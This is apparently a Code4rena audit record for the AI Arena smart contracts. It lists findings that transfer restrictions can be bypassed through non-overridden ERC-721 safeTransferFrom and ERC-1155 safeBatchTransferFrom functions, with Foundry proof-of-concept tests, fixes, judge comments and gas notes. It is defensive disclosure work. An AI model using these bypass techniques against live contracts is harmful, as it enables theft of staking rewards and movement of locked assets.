Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 146/283
Findings: 3
Award: $13.73
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
The contract FighterFarm
overrides ERC-721 functions transferFrom(address,address,uint256)
and safeTransferFrom(address,address,uint256)
to disallow to transfer staked fighters or to get more than MAX_FIGHTERS_ALLOWED fighters. However, the function safeTransferFrom(address,address,uint256,bytes memory) is not overridden, and that allows to bypass the restriction.
A user who has accumulated points for a staked fighter can transfer the staked fighter to another account. Then, when the _addResultPoints is called, the battle result can be one of the below:
accumulatedPointsPerFighter[tokenId][roundId] > 0
is true, because it is bound to a fighter, but accumulatedPointsPerAddress[fighterOwner][roundId]
is 0, because it is bound to the fighter owner. The fighterOwner
currently (after transfer) is the new account with no accumulated points, and subtracting points from accumulatedPointsPerAddress[fighterOwner][roundId]
reverts because the result is negative, but the variable type is uint
:if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } }
After the round is over, the old fighter owner can claim NRNs for accumulated points, despite the points must be deducted after lose battle.
Here is a test for PoC that can be added to RankedBattleTest
(RankedBattle.t.sol):
function testTransferStakedFighter() public { address staker = vm.addr(3); _mintFromMergingPool(staker); _fundUserWith4kNeuronByTreasury(staker); vm.prank(staker); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0); assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18); address claimee = vm.addr(4); _mintFromMergingPool(claimee); _fundUserWith4kNeuronByTreasury(claimee); vm.prank(claimee); _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 1); assertEq(_rankedBattleContract.amountStaked(1), 4_000 * 10 ** 18); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); address anotherAccount = vm.addr(44); vm.prank(staker); _fighterFarmContract.safeTransferFrom(staker, anotherAccount, 0, ""); vm.prank(address(_GAME_SERVER_ADDRESS)); vm.expectRevert(); // reverts when battle is lose _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); vm.prank(address(_GAME_SERVER_ADDRESS)); // accumulates points for the new owner when the battle is won _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.setNewRound(); vm.prank(staker); _rankedBattleContract.claimNRN(); // the old owner claims NRNs assertEq(_rankedBattleContract.amountClaimed(staker) > 0, true); vm.prank(anotherAccount); _rankedBattleContract.claimNRN(); // the new owner claims NRNs assertEq(_rankedBattleContract.amountClaimed(anotherAccount) > 0, true); }
Manual review
Override the safeTransferFrom(address,address,uint256,bytes memory)
function from ERC721 for FighterFarm
the same way as safeTransferFrom(address,address,uint256)
.
Token-Transfer
#0 - c4-pre-sort
2024-02-23T05:23:14Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:24:20Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:09:27Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-11T02:47:33Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
Game items can be transferable or not, and the owner can adjust transferability using adjustTransferability function. The GameItems
contract overrides ERC1155 safeTransferFrom
function and requires the item to be transferable. However, there is a safeBatchTransferFrom
function in ERC1155 contract that GameItems
contract does not override, and it allows to transfer non-transferable items.
For PoC I added 2 tests to GameItems.t.sol
that shows that for non-transferable item safeTransferFrom
reverts, but safeBatchTransferFrom
successfully transfers the item:
function testSafeTransferFromNonTransferableItem() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.adjustTransferability(0, false); _gameItemsContract.mint(0, 1); vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); } function testSafeBatchTransferFromNonTransferableItem() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.adjustTransferability(0, false); _gameItemsContract.mint(0, 1); uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, tokenIds, amounts, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Manual review
Override safeBatchTransferFrom
function and add a check whether the item is transferable.
Token-Transfer
#0 - c4-pre-sort
2024-02-22T03:19:34Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:19:38Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-22T03:20:13Z
Transfer dodging.
#3 - c4-pre-sort
2024-02-26T00:30:00Z
raymondfam marked the issue as duplicate of #575
#4 - c4-judge
2024-03-05T04:46:45Z
HickupHH3 changed the severity to 3 (High Risk)
#5 - c4-judge
2024-03-05T04:48:30Z
HickupHH3 marked the issue as satisfactory
#6 - c4-judge
2024-03-05T04:58:40Z
HickupHH3 removed the grade
#7 - c4-judge
2024-03-05T04:59:15Z
HickupHH3 marked the issue as satisfactory
π Selected for report: 0xDetermination
Also found by: 0x11singh99, 0xAnah, 0xRiO, JcFichtner, K42, MatricksDeCoder, McToady, PetarTolev, Raihan, SAQ, SM3_SS, SY_S, Timenov, ahmedaghadi, al88nsk, dharma09, donkicha, emrekocak, favelanky, hunter_w3b, judeabara, kiqo, lrivo, lsaudit, merlinboii, mikesans, offside0011, oualidpro, peter, rekxor, shamsulhaq123, unique, yashgoel72, yovchev_yoan, ziyou-
13.6293 USDC - $13.63
In function _addResultPoints initial value of points
is 0, and it only changes when stakeAtRisk
is 0. However, there is a bunch of calculations with points
that are processed even when points
are not changed, and those calculations have no reason as the result is 0.
Move the calculations with points inside the if
statement when the points is changed to non-zero value.
The operator or
is used in the require statement, the first operand of or
is allGameItemAttributes[tokenId].finiteSupply == false
, and the second is allGameItemAttributes[tokenId].finiteSupply == true && quantity <= allGameItemAttributes[tokenId].itemsRemaining
. The part allGameItemAttributes[tokenId].finiteSupply == true
is redundant as this is always true because of short-circuit boolean.
Constructor of AiArenaHelper
updates attributeProbabilities
for generation 0 twice - once in function addAttributeProbabilities
and another time after the function is called.
#0 - raymondfam
2024-02-25T21:51:03Z
3G
#1 - c4-pre-sort
2024-02-25T21:51:08Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2024-03-19T07:58:51Z
HickupHH3 marked the issue as grade-b